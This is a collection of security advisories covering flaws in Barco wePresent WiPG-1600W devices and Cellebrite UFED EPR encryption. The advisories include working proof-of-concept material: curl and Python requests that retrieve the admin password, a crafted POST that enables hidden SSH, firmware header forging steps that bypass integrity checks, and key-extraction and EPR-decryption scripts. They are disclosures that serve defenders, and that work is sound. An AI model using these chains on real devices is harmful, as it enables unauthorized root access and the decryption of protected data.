etc/ssh/sshd_config Match User vriotiotupgrade PasswordAuthentication no AuthorizedKeysFile /VRIOT/ap-images/authorized_keys Match User vriotha PasswordAuthentication yes $ grep -v ^# etc/rssh.conf logfacility = LOG_USER allowscp umask = 022 ``` --- ## KL-001-2020-004: Barco wePresent Hardcoded API Credentials URL: https://korelogic.com/advisories/KL-001-2020-004/ KL-001-2020-004 - Barco wePresent Hardcoded API Credentials - CVE-2020-28329 - Barco wePresent WiPG-1600W Advisory ID: KL-001-2020-004 Published: 2020-11-20 Vendor: Barco Product: wePresent WiPG-1600W Version: 2.5.1.8, 2.5.0.25, 2.5.0.24, 2.4.1.19 Platform: Embedded Linux CVE: CVE-2020-28329 CWE: CWE-798 - Use of Hard-coded Credentials Discovered by: Jim Becher ## References - [CWE-798 - Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) - [CVE-2020-28329](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28329) - [Signed advisory text](/advisories/KL-001-2020-004.txt) ## Vulnerability Description Barco wePresent device firmware includes a hardcoded API account and password that is discoverable by inspecting the firmware image. A malicious actor could use this password to access authenticated, administrative functions in the API. ## Technical Description This vulnerability concerns the existence of default, hardcoded credentials that can be used to access an API service listening on port `4001/tcp`. The password exists in clear text in `/etc/lighthttp/admin` and in a hashed form in `etc/lighttpd/lighttpd.user`. This information was obtained by downloading the firmware from wePresent's site and unpacking the firmware. URL for the firmware is https://www.barco.com/en/support/wepresent-wipg-1600W/drivers. Binwalk, with recursive scanning of extracted files, only partially unpacks the firmware. We devised a way to gracefully unpack the firmware using 'dd', see KL-001-2020-009 for further details. ## Mitigation and Remediation Recommendation The vendor has released an updated firmware (2.5.3.12) which remediates the described vulnerability. Firmware and release notes are available at: https://www.barco.com/en/support/software/R33050104 ## Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. ## Proof of Concept After unpacking the firmware: ```text $ ls -al etc/lighttpd/admin -rwxr-xr-x 1 jbecher jbecher 36 Feb 6 23:42 etc/lighttpd/admin $ more etc/lighttpd/admin [REDACTED] ``` --- ## KL-001-2020-005: Barco wePresent Admin Credentials Exposed In Plain-text URL: https://korelogic.com/advisories/KL-001-2020-005/ KL-001-2020-005 - Barco wePresent Admin Credentials Exposed In Plain-text - CVE-2020-28330 - Barco wePresent WiPG-1600W Advisory ID: KL-001-2020-005 Published: 2020-11-20 Vendor: Barco Product: wePresent WiPG-1600W Version: 2.5.1.8 Platform: Embedded Linux CVE: CVE-2020-28330 CWE: CWE-523 - Unprotected Transport of Credentials Discovered by: Jim Becher ## References - [CWE-523 - Unprotected Transport of Credentials](https://cwe.mitre.org/data/definitions/523.html) - [CVE-2020-28330](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28330) - [Signed advisory text](/advisories/KL-001-2020-005.txt) ## Vulnerability Description An attacker armed with hardcoded API credentials from KL-001-2020-004 (CVE-2020-28329) can issue an authenticated query to display the admin password for the main web user interface listening on port `443/tcp`. ## Technical Description An authenticated request using the hardcoded credentials in KL-001-2020-004 (CVE-2020-28329) to `https://:4001/w1.0` will display the current admin password in clear text. An attacker will now have the admin password on the device, and can use the web interface to make any configuration changes to the device using the web UI. ```text $ curl -k -u 'admin:[REDACTED]' https://192.168.2.200:4001/w1.0 { "status": 200, "message": "Get successful", "data": { "key": "/w1.0", "value": { "ClientAccess":{ "EnableAirplay": true }, "Configuration":{ "RestartSystem": false, "ShutdownSystem": false, "SetAction": "NoAction", "SetActionUrl": "" }, "DeviceInfo":{ "ArticleNumber": "Barco_Number", "CurrentUptime": 58524, "InUse": false, "ModelName": "WiPG-1600", "Sharing": false, "Status": 0, "StatusMessage": "", "TotalUptime": 473871262, "TotalUsers": 0, "LoginCodeOption": "Random", "LoginCode": "3746", "SystemPassword": "W3Pr3s3nt", <- Admin password ... ... ``` ## Mitigation and Remediation Recommendation The vendor has released an updated firmware (2.5.3.12) which remediates the described vulnerability. Firmware and release notes are available at: https://www.barco.com/en/support/software/R33050104 ## Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. ## Proof of Concept The following is a basic Python function to return the admin password: ```python def get_admin_pw(host, port, adminpw): apiuser = "admin" apipw = "[REDACTED]" url = "https://" + host + ":" + port + "/w1.0" response = requests.get(url, auth=HTTPBasicAuth(apiuser, apipw), verify=False, timeout=3) dict = response.json() adminpw = dict['data']['value']['DeviceInfo']['SystemPassword'] return adminpw ``` --- ## KL-001-2020-006: Barco wePresent Authentication Bypass URL: https://korelogic.com/advisories/KL-001-2020-006/ KL-001-2020-006 - Barco wePresent Authentication Bypass - CVE-2020-28333 - Barco wePresent WiPG-1600W Advisory ID: KL-001-2020-006 Published: 2020-11-20 Vendor: Barco Product: wePresent WiPG-1600W Version: 2.5.1.8 Platform: Embedded Linux CVE: CVE-2020-28333 CWE: CWE-288 - Authentication Bypass Using an Alternate Path or Channel Discovered by: Jim Becher ## References - [CWE-288 - Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html) - [CVE-2020-28333](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28333) - [Signed advisory text](/advisories/KL-001-2020-006.txt) ## Vulnerability Description The Barco wePresent web interface does not use session cookies for tracking authenticated sessions. Instead, the web interface uses a "SEID" token that is appended to the end of URLs in GET requests. Thus the "SEID" would be exposed in web proxy logs and browser history. An attacker that is able to capture the "SEID" and originate requests from the same IP address (via a NAT device or web proxy) would be able to access the user interface of the device without having to know the credentials. ## Technical Description In order to make configuration changes to the Barco wePresent WiPG-1600W, a "random" value sent to the web interface client from the device is required to be provided -- the "SEID". It seems to be acting like a Session ID in a cookie. However, the "SEID" is passed as a parameter in URLs and in the body of POSTs. Since it is passed as a parameter in the URL, it can be logged by web proxies or browser history. An example is: https://192.168.2.200/cgi-bin/web_index.cgi?lang=en&src=AwSystem.html&ertqVvnKV4TjU9Vt Where `ertqVvnKV4TjU9Vt` is the SEID. No session cookie exists, just this value passed on the URL as a parameter, and in the body of POSTs to make configuration changes. This SEID is all that is required to access pages behind authentication or to make configuration changes via POSTs. There is no Authorization header passed in the HTTP requests. ## Mitigation and Remediation Recommendation The vendor has released an updated firmware (2.5.3.12) which remediates the described vulnerability. Firmware and release notes are available at: https://www.barco.com/en/support/software/R33050104 ## Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. ## Proof of Concept See section (3) Technical Description. --- ## KL-001-2020-007: Barco wePresent Undocumented SSH Interface Accessible Via Web UI URL: https://korelogic.com/advisories/KL-001-2020-007/ KL-001-2020-007 - Barco wePresent Undocumented SSH Interface Accessible Via Web UI - CVE-2020-28331 - Barco wePresent WiPG-1600W Advisory ID: KL-001-2020-007 Published: 2020-11-20 Vendor: Barco Product: wePresent WiPG-1600W Version: 2.5.1.8 Platform: Embedded Linux CVE: CVE-2020-28331 CWE: CWE-266 - Incorrect Privilege Assignment Discovered by: Jim Becher ## References - [CWE-266 - Incorrect Privilege Assignment](https://cwe.mitre.org/data/definitions/266.html) - [CVE-2020-28331](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28331) - [Signed advisory text](/advisories/KL-001-2020-007.txt) ## Vulnerability Description The Barco wePresent device has an SSH daemon included in the firmware image. By default, the SSH daemon is disabled and does not start at system boot. The system initialization scripts read a device configuration file variable to see if the SSH daemon should be started. The web interface does not provide a visible capability to alter this configuration file variable. However, a malicious actor can include this variable in a POST such that the SSH daemon will be started when the device boots. ## Technical Description The Barco wePresent web UI does not appear to have configuration options/settings for enabling the SSH service or configuring system-level accounts on the device. The device does not have a SSH daemon listening by default. In looking at the unpacked firmware, there is an SSH daemon init script (`/etc/init.d/S41ssh`). The init script starts the SSH daemon only if a specific value from the device's configuration is set to "1". Excerpts from the init script: ```bash mode=$(/mnt/AwGetCfg get RD_DEBUG_MODE) runprocess() { if [ "$mode" = "1" ]; then echo "dropbear running" /usr/bin/dropbear fi } ``` The `AwGetCfg` binry reads the `/etc/content/AwDefault.xml` file, and there is a `RD_DEBUG_MODE` value set in that file. By default `RD_DEBUG_MODE` is set to "0" in the firmware. While the web pages in the web UI do not have apparent ways to enable SSH, other configuration settings that appear in the `/etc/content/AwDefault.xml` file can be modified by the web UI. So, a configuration change originating from the UI can be intercepted and modified to set `RD_DEBUG_MODE` to 1. Many (all?) configuration changes to the device require a reboot to take effect. So, another POST has to be sent, using the "SEID" to reboot the device. After the device comes back up, the SSH service is indeed running and accepting connections. The root user is the only system level user that is present in the firmware by default. A hash for the root account is present in the /etc/shadow file, but has been resistant to being cracked thus far. ## Mitigation and Remediation Recommendation The vendor has released an updated firmware (2.5.3.12) which remediates the described vulnerability. Firmware and release notes are available at: https://www.barco.com/en/support/software/R33050104 ## Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. ## Proof of Concept ```text $ nmap 192.168.2.200 Nmap scan report for 192.168.2.200 Host is up (0.0035s latency). Not shown: 988 closed ports PORT STATE SERVICE 80/tcp open http 389/tcp open ldap 443/tcp open https 515/tcp open printer 1688/tcp open nsjtp-data 3268/tcp open globalcatLDAP 4001/tcp open newoak 5566/tcp open westec-connect 6000/tcp open X11 7000/tcp open afs3-fileserver 7100/tcp open font-service 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds ``` To enable SSH service, authenticate to the wePresent device and click apply (does not even have to be an actual configuration change). In the POST add "RD_DEBUG_MODE1" ```http POST /cgi-bin/return.cgi HTTP/1.1 Host: 192.168.2.200 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 520 Origin: https://192.168.2.200 Connection: close Referer: https://192.168.2.200/cgi-bin/web_index.cgi?lang=en&src=AwDevice.html&rjviSfqdmPuWrZ7z command=rjviSfqdmPuWrZ7zWL_PAIRING_ONOFF0NTP_SYNC1NTP_SERVER_IPTIME_ZONEGMT-8_CHPREF_LOGINCODE2VIDEO_OUT4VIDEO_RES7PREF_UNIVERSAL_LOGINCODE2113ENABLE_DST1IOS_AIRPLAY_ONOFF1RD_DEBUG_MODE1 ``` And then issue a reboot to the device: ```text $ curl -k -X POST https://192.168.2.200/cgi-bin/return.cgi -d 'command=rjviSfqdmPuWrZ7zreboot' RebootOK ``` The above steps can be captured in a Python script (a different SEID was generated by the device): ```text user@machine:~/wepresent$ ./WePwn.py -h 192.168.2.200 [+] Admin password is: W3Pr3s3nt [+] SEID is: PqhXbb4jQ2g8T4ss [+] Enabling SSH Daemon [+] Rebooting device [+] Waiting for 60 seconds while device reboots 10...20...30...40...50...60 ``` After the device reboots, the SSH daemon is now running and listening on port `22/tcp`. ```text $ nmap 192.168.2.200 Nmap scan report for 192.168.2.200 Host is up (0.0037s latency). Not shown: 987 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 389/tcp open ldap 443/tcp open https 515/tcp open printer 1688/tcp open nsjtp-data 3268/tcp open globalcatLDAP 4001/tcp open newoak 5566/tcp open westec-connect 6000/tcp open X11 7000/tcp open afs3-fileserver 7100/tcp open font-service 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds ``` --- ## KL-001-2020-008: Barco wePresent Global Hardcoded Root SSH Password URL: https://korelogic.com/advisories/KL-001-2020-008/ KL-001-2020-008 - Barco wePresent Global Hardcoded Root SSH Password - CVE-2020-28334 - Barco wePresent WiPG-1600W Advisory ID: KL-001-2020-008 Published: 2020-11-20 Vendor: Barco Product: wePresent WiPG-1600W Version: 2.5.1.8, 2.5.0.25, 2.5.0.24, 2.4.1.19 Platform: Embedded Linux CVE: CVE-2020-28334 CWE: CWE-798 - Use of Hard-coded Credentials Discovered by: Jim Becher ## References - [CWE-798 - Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) - [CVE-2020-28334](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28334) - [Signed advisory text](/advisories/KL-001-2020-008.txt) ## Vulnerability Description The Barco wePresent device has a hardcoded root password hash included in the firmware image. To our knowledge the password hash has not been cracked and published; it is possible this could occur at any time. This combined with KL-001-2020-004 (CVE-2020-28329), KL-001-2020-005 (CVE-2020-28330), and KL-001-2020-007 (CVE-2020-28331) could be used in a simple and automated exploit chain to go from unauthenticated remote attacker to root shell. ## Technical Description In looking at the unpacked firmware, a root hash was quickly identified in the `/etc/shadow` file on the device. It is the only account in the `/etc/shadow`. The device does not prompt the administrator to set a new root password, therefore this password is hardcoded and exists across all devices. ## Mitigation and Remediation Recommendation The vendor has released an updated firmware (2.5.3.12) which remediates the described vulnerability. Firmware and release notes are available at: https://www.barco.com/en/support/software/R33050104 ## Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. ## Proof of Concept After unpacking the firmware: ```text $ ls -al etc/shadow -rwxr-xr-x 1 user user 59 May 25 00:11 etc/shadow $ cat etc/shadow root:$1$reqE8o6b$[REDACTED]:12940:0:99999:7::: ``` --- ## KL-001-2020-009: Barco wePresent Insecure Firmware Image URL: https://korelogic.com/advisories/KL-001-2020-009/ KL-001-2020-009 - Barco wePresent Insecure Firmware Image - CVE-2020-28332 - Barco wePresent WiPG-1600W Advisory ID: KL-001-2020-009 Published: 2020-11-20 Vendor: Barco Product: wePresent WiPG-1600W Version: 2.5.1.8, 2.5.0.25, 2.5.0.24, 2.4.1.19 Platform: Embedded Linux CVE: CVE-2020-28332 CWE: CWE-494 - Download of Code Without Integrity Check Discovered by: Jim Becher, Matt Bergin ## References - [CWE-494 - Download of Code Without Integrity Check](https://cwe.mitre.org/data/definitions/494.html) - [CVE-2020-28332](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28332) - [Signed advisory text](/advisories/KL-001-2020-009.txt) ## Vulnerability Description The Barco wePresent firmware does not perform verification of digitally signed firmware updates and is susceptible to processing and installing modified/malicious images. ## Technical Description The Barco wePresent firmware unpacks partially using binwalk. Using 'dd' it is possible to extract the 4 component files in the firmware. They are: - a 512 byte header - a cramfs file system - a uBoot - and a tar.gz'd set of files (where the /etc/shadow file lives) The initial attempt at modifying the firmware failed when the device computed a checksum and denied processing the modified firmware. Knowing that a checksum was used in validating firmware, the focus was on the header file. Most of the fields in the header file are text-based and easily identifiable. There were, however, fields whose purpose were not immediately obvious. After some thought and processing of the bytes, the following header file structure was identified. The following is hexdump output with comments interspersed. ```text $ hexdump -C header 00000000 61 77 2d 66 68 30 30 33 02 05 01 08 14 14 02 07 |aw-fh003........| (version=2.5.1.8) (0x14 = 20; date = 2020/02/07 00000010 61 77 69 6e 64 2e 57 69 50 47 2d 31 36 30 30 2e |awind.WiPG-1600.| 00000020 57 4d 38 37 35 30 00 00 00 00 00 00 00 00 00 00 |WM8750..........| 00000030 57 50 53 00 00 00 00 00 00 00 00 00 00 00 00 00 |WPS.............| 00000040 41 57 49 00 00 00 00 00 00 00 00 00 00 00 00 00 |AWI.............| 00000050 64 65 66 61 75 6c 74 00 00 00 00 00 00 00 00 00 |default.........| 00000060 f3 ec 90 07 08 22 ab cf 64 65 66 61 75 6c 74 00 |....."..default.| (0x0790ecf3 = 126938355 bytes = filesize of the firmware without the first 512 bytes, which is the header) (0xcfab2208 = sum32 checksum of the firmware without the first 512 bytes, which is the header) 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 61 77 2d 65 78 74 72 61 01 00 00 00 ff ff ff ff |aw-extra........| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000200 ``` Generating a new firmware version involved gunzip'ing and untar'ing the filesystem, replacing the hash, and tar-gzip'ing back up. Once it is tar.gz, it is necessary to concatenate all parts of the new firmware together _without_ the header file. Next, calculate the sum32 checksum on this file. With the new sum32 checksum and filesize of the tar.gz file, modify the new header file to look like: ```text 00000000 61 77 2d 66 68 30 30 33 02 05 01 09 14 14 02 07 |aw-fh003........| 00000010 61 77 69 6e 64 2e 57 69 50 47 2d 31 36 30 30 2e |awind.WiPG-1600.| 00000020 57 4d 38 37 35 30 00 00 00 00 00 00 00 00 00 00 |WM8750..........| 00000030 57 50 53 00 00 00 00 00 00 00 00 00 00 00 00 00 |WPS.............| 00000040 41 57 49 00 00 00 00 00 00 00 00 00 00 00 00 00 |AWI.............| 00000050 64 65 66 61 75 6c 74 00 00 00 00 00 00 00 00 00 |default.........| 00000060 5f 2a 91 07 39 66 da cf 64 65 66 61 75 6c 74 00 |_*..9f..default.| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 61 77 2d 65 78 74 72 61 01 00 00 00 ff ff ff ff |aw-extra........| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000200 ``` Now, concatenate the header file onto the new firmware to complete the firmware packaging. This new file can now be uploaded to the wePresent device. After the firmware update, the device will revert back to the default admin password of "admin". The steps in KL-001-2020-007 (CVE-2020-28331) can be run again to re-enable SSH, and now ssh in with a known root password. ## Mitigation and Remediation Recommendation The vendor has released an updated firmware (2.5.3.12) which remediates the described vulnerability. Firmware and release notes are available at: https://www.barco.com/en/support/software/R33050104 ## Credit This vulnerability was discovered by Jim Becher (@jimbecher) and Matt Bergin (@thatguylevel) of KoreLogic, Inc. ## Proof of Concept ```bash $ more unpack-firmware.sh #!/bin/sh dd bs=512 if=$1 of=$1.header count=1 dd bs=512 if=$1 of=$1.cromfs skip=1 count=10240 dd bs=512 if=$1 of=$1.uboot skip=10241 count=6144 dd bs=512 if=$1 of=$1.fs.tar.gz skip=16385 ``` ```text $ ls -altr total 123972 drwxr-xr-x 5 user user 4096 Jul 17 21:12 .. drwxr-xr-x 2 user user 4096 Jul 17 21:12 . -rw-r--r-- 1 user user 126938867 Jul 17 21:12 awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad $ ./unpack-firmware.sh awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad 1+0 records in 1+0 records out 512 bytes copied, 0.000389048 s, 1.3 MB/s 10240+0 records in 10240+0 records out 5242880 bytes (5.2 MB, 5.0 MiB) copied, 0.0501995 s, 104 MB/s 6144+0 records in 6144+0 records out 3145728 bytes (3.1 MB, 3.0 MiB) copied, 0.0120293 s, 262 MB/s 231542+1 records in 231542+1 records out 118549747 bytes (119 MB, 113 MiB) copied, 0.388187 s, 305 MB/s $ file * awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad: data awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.cromfs: Linux Compressed ROM File System data, little endian size 4452352 version #2 sorted_dirs CRC 0xd1b0b3fa, edition 0, 2359 blocks, 918 files awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.fs.tar.gz: gzip compressed data, last modified: Fri Feb 7 05:57:05 2020, from Unix awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.header: data awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.uboot: u-boot legacy uImage, Linux-2.6.32.9-default, Linux/ARM, OS Kernel Image (Not compressed), 2104776 bytes, Thu May 30 06:06:07 2019, Load Address: 0x00008000, Entry Point: 0x00008000, Header CRC: 0xB224BB24, Data CRC: 0xD50B7080 ``` --- ## KL-001-2020-003: Cellebrite EPR Decryption Relies on Hardcoded AES Key Material URL: https://korelogic.com/advisories/KL-001-2020-003/ KL-001-2020-003 - Cellebrite EPR Decryption Relies on Hardcoded AES Key Material - CVE-2020-14474 - Cellebrite UFED Advisory ID: KL-001-2020-003 Published: 2020-06-29 Vendor: Cellebrite Product: UFED Version: 5.0 - 7.5.0.845 Platform: Embedded Windows CVE: CVE-2020-14474 CWE: CWE-321 - Use of Hard-coded Cryptographic Key Discovered by: Matt Bergin ## References - [CWE-321 - Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html) - [CVE-2020-14474](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14474) - [Signed advisory text](/advisories/KL-001-2020-003.txt) ## Vulnerability Description The Cellebrite UFED Physical device relies on key material hardcoded within both the executable code supporting the decryption process and within the encrypted files themselves by using a key enveloping technique. The recovered key material is the same for every device running the same version of the software and does not appear to be changed with each new build. It is possible to reconstruct the decryption process using the hardcoded key material and obtain easy access to otherwise protected data. ## Technical Description A recursive listing of my standalone decryptor directory: ```text $ find . . ./decrypt-epr ./input ./input/DLLs ./input/DLLs/731 ./input/DLLs/731/FileUnpacking.dll ./input/EPRs ./input/EPRs/731 ./input/EPRs/731/Android.zip.epr ./output ./output/EPRs ./output/EPRs/731 ./extract-keys ./Makefile ``` (See the Proof of Concept section for relevant code snippets.) First, we start by running the `extract-keys` script on the relevant `FileUnpacking.dll` file. The provided `Makefile` will automatically output the relevant key material to the same directory where the DLL resides. ```text $ make keys Extracting AES keys from input/DLLs/731/FileUnpacking.dll 64+0 records in 64+0 records out 64 bytes copied, 0.000186032 s, 344 kB/s 32+0 records in 32+0 records out 32 bytes copied, 0.000116104 s, 276 kB/s 636+0 records in 636+0 records out 636 bytes copied, 0.00140342 s, 453 kB/s Finished ``` The extract-keys script contains a nested JSON-object and iterates over the bytes of the file provided creating a SHA256 hash for each DWORD. The calculated hash is compared against known matches and when found the script will automatically extract the bytes relevant. Now a selected EPR file may be decrypted. A good example is the `Android.zip.epr` file, which contains a set of local privilege escalation exploits. ```text $ ./decrypt-epr --verbose --file input/EPRs/731/Android.zip.epr [+] The EPR file specified exists. [+] The specified EPR file has been read into memory. [-] Decrypter setup with key 1 for version 3 [+] Round one of the EPR decryption completed successfully. [-] Calculated that the flag will be: [REDACTED] [+] The SHA256 key flag has been calculated. [-] Found the flag: [REDACTED] [+] The SHA256 key flag has been found. [-] Decrypter setup with key 2 for version 3 [+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV. [-] AES Key: [REDACTED], IV: [REDACTED] [-] Decrypter setup with key 3 for version 3 [-] Finished decrypting all blocks. [-] Writing bytes to: input/EPRs/731/Android.zip.epr.broken [-] Wrote 2552640 bytes to a broken file. [+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been decrypted. [-] Running: zip -FF input/EPRs/731/Android.zip.epr.broken --out input/EPRs/731/Android.zip.epr.zip > /dev/null 2>&1 [-] Removing the broken file. [+] Decrypted file available at output/EPRs/731/Android.zip.epr.zip [+] done. ``` The decrypted file can then be unzipped. ```text $ unzip Android.zip.epr.zip Archive: Android.zip.epr.zip inflating: c2a_disable_selinux_32.ko inflating: c2a_disable_selinux_64.ko inflating: com.mr.meeseeks.apk inflating: daemonize inflating: dirtycow inflating: dirtycow_32 inflating: DisableHuaweiLogging_2.1.5767a inflating: django_2.1.5767a inflating: EnableHuaweiLogging_2.1.5767a inflating: EnableSharpRead_2.1.5767a inflating: exploits_2.1.5769.csv inflating: forensics inflating: fourrunnerStatic_2.1.5767a inflating: gb_2.1.5767a inflating: nandd inflating: nandread-pie-vold inflating: nandread-pie_7182 inflating: nandread64-pie-vold inflating: nandreadStatic_7182 inflating: patcher.exe inflating: pingroot inflating: pingroot_vultest inflating: psneuter_2.1.5767a inflating: RecoveryImageMap.csv inflating: rootspotter.apk inflating: rootspot_verify_env inflating: rosecure_2.1.5767a inflating: setuid_2.1.5767a inflating: shellcode.bin inflating: shellcode_32_iptables.bin inflating: shellcode_32_oatdump.bin inflating: zergRush_2.1.5767a ``` The encryption algorithm uses a software-only key enveloping technique where part of the key material is stored within executable code and part within a encrypted header inside of the encrypted file. The encrypted header is extracted from the encrypted file and decrypted using key material hardcoded within executable code. Some of the bytes decrypted then undergo a XOR operation to calculate the last DWORD of a SHA256 hash. Separately, a set of 254 bytes is iterated over using 64 bytes per iteration. A complete SHA256 hash is generated for each set of 64-bytes and the ending DWORD of this hash is then compared against the calculated DWORD. If there is a match the bytes used to calculate the DWORD are the next set of key material. The decryption tool outputs the following match: ```text [-] Calculated that the flag will be: [REDACTED] [+] The SHA256 key flag has been calculated. [-] Found the flag: [REDACTED] ``` The last DWORD matches. In fact there are a total of eight possible intermediate keys that can be chosen from based on the bytes observed. A third and final key exists within each encrypted file header. This key is decrypted using the hardcoded intermediate key used for encrypted the selected file. From here bytes 0x80 through the end of the file are decrypted in blocks of 0x10000. ## Mitigation and Remediation Recommendation The vendor has informed KoreLogic that this vulnerability is not present on recent versions of the UFED devices. Cellebrite stated, "While the method described in the reports does not work on recent versions (we previously made multiple changes that broke it), the core key material was exposed and will be rotated effective immediately." ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. ## Proof of Concept File Name: Makefile ```makefile clean: for filepath in `find input/DLLs -type f -name '*.keys' -o -name '*.aes' -o -name '*.iv' -o -name '*.map' -o -name '*.zip'`; do \ rm -rf $$filepath ; \ done keys: @for filepath in `find input/DLLs -type f -name '*.dll'` ; do \ echo Extracting AES keys from $$filepath ; \ ./extract-keys --file $$filepath > $$filepath.keys ; \ if [ -f "$$filepath" ] ; then \ dd bs=1 if=$$filepath.keys count=64 of=$$filepath.aes ; \ dd bs=1 if=$$filepath.keys count=32 skip=64 of=$$filepath.iv ; \ dd bs=1 if=$$filepath.keys skip=96 of=$$filepath.map ; \ else \ echo Could not find extract-keys output ; \ fi \ done ; \ echo Finished ``` Script Name: extract-keys ```python #!/usr/bin/python from optparse import OptionParser from os.path import exists, basename from binascii import hexlify from hashlib import sha256 from os import makedirs keyMap = { # UFED 5.1 "Dump_MotGSM.dll":{ "offsets":{ "aes":{ "key":"0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054", # Key and IV already public information "iv":"888c609edc9eb9dfb4d30dfebc9f0431" # https://github.com/cellebrited/cellebrite } } }, # UFED 7.3 "FileUnpacking.dll":[ { "offsets":{ "aes":{ "keySize":32, "keyHash":"[REDACTED]", # sha256 hash of first dword "ivSize":16, "ivHash":"[REDACTED]" # sha256 hash of first dword }, "mapSize":256, "mapHash":"[REDACTED]" # sha256 hash of first dword } } ] } if __name__ == "__main__": parser = OptionParser() parser.add_option("--file",dest="file",default='',help="Decryptor DLL") o,a = parser.parse_args() if (exists(o.file) != True): print "[!] The specified file does not exist" exit(1) try: with open(o.file,'rb') as fp: fileData = fp.read() print "[-] Read {} bytes.".format(len(fileData)) if (isinstance(keyMap[basename(o.file)], str)): if ("Dump_MotGSM.dll" == basename(o.file)): print keyMap[basename(o.file)]["offsets"]["aes"]["key"] + keyMap[basename(o.file)]["offsets"]["aes"]["iv"] else: foundKey, foundIV, foundMap = False, False, False for i in xrange(0, len(keyMap[basename(o.file)])): for pos in xrange(0,len(fileData)): nextDWORD = hexlify(fileData[pos:pos+4]) if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["keyHash"] and not foundKey): foundKey = True aesKey = hexlify(fileData[pos:pos+32]) print "[+] Found key at {}. Value: {}".format(hex(pos),aesKey) if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["ivHash"] and not foundIV): foundIV = True aesIV = hexlify(fileData[pos:pos+16]) print "[+] Found IV at {}. Value: {}".format(hex(pos),aesIV) if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["mapHash"] and not foundMap): foundMap = True aesMap = hexlify(fileData[pos:pos+keyMap[basename(o.file)][i]["offsets"]["mapSize"]]) print "[+] Found map at {}. Value: {}".format(hex(pos),aesMap) if (foundKey and foundIV and foundMap): break pos+=1 except Exception as e: print "[!] Could not read the specified file. Reason: {}".format(e) exit(0) ``` Script Name: decrypt-epr ```python #!/usr/bin/python from logging.handlers import TimedRotatingFileHandler from optparse import OptionParser from os.path import exists, getsize, dirname, realpath from os.path import join as path_join from os import system, remove from shutil import move from Crypto.Cipher import AES from binascii import unhexlify, hexlify from hashlib import sha256 import sys import logging logging.basicConfig( format="%(asctime)s [%(levelname)s] %(message)s", level=logging.INFO, handlers=[ TimedRotatingFileHandler( path_join( dirname(realpath(__file__)), "logger.log", ), interval=1, ), logging.StreamHandler(sys.stdout), ], ) logger = logging.getLogger(__name__) bs = AES.block_size pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs) class EPR: def __init__(self, file, version, verbose): self.epr_v1_aes_key = "0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054" # Already public information self.epr_v1_aes_iv = "888c609edc9eb9dfb4d30dfebc9f0431" # Already public information self.epr_v2_aes_key = "[REDACTED]" self.epr_v2_aes_iv = "[REDACTED]" self.epr_v3_aes_key = self.epr_v2_aes_key self.epr_v3_aes_iv = self.epr_v2_aes_iv self.epr_v2_aes_map = "[REDACTED]" self.epr_v3_aes_map = "[REDACTED]" self.epr_v3_aes_iv_two = None self.file = file or False self.version = version self.encrypted_file = None self.encrypted_epr = None self.encrypted_magic = None self.decrypted_epr = None self.final_epr = b'' self.logging = verbose def file_exists(self): if not self.file: return False return exists(self.file) def can_read_file(self): return getsize(self.file) def read_entire_file(self): try: fp = open(self.file,'rb') self.encrypted_file = fp.read() fp.close() except Exception as e: logger.error("[!] Encountered an exception. Reason: {}".format(e)) return False return True def flat_decrypt(self): self.encrypted_magic = self.encrypted_file[:21] if (self.encrypted_magic[:-2] == "Cellebrite EPR File"): self.encrypted_epr = self.encrypted_file[21:] if self.version == 1: crypter = AES.new(unhexlify(self.epr_v1_aes_key),AES.MODE_CBC,unhexlify(self.epr_v1_aes_iv)) if self.logging: logger.info("[-] Decrypter setup with key 1 for version {}".format(self.version)) else: crypter = 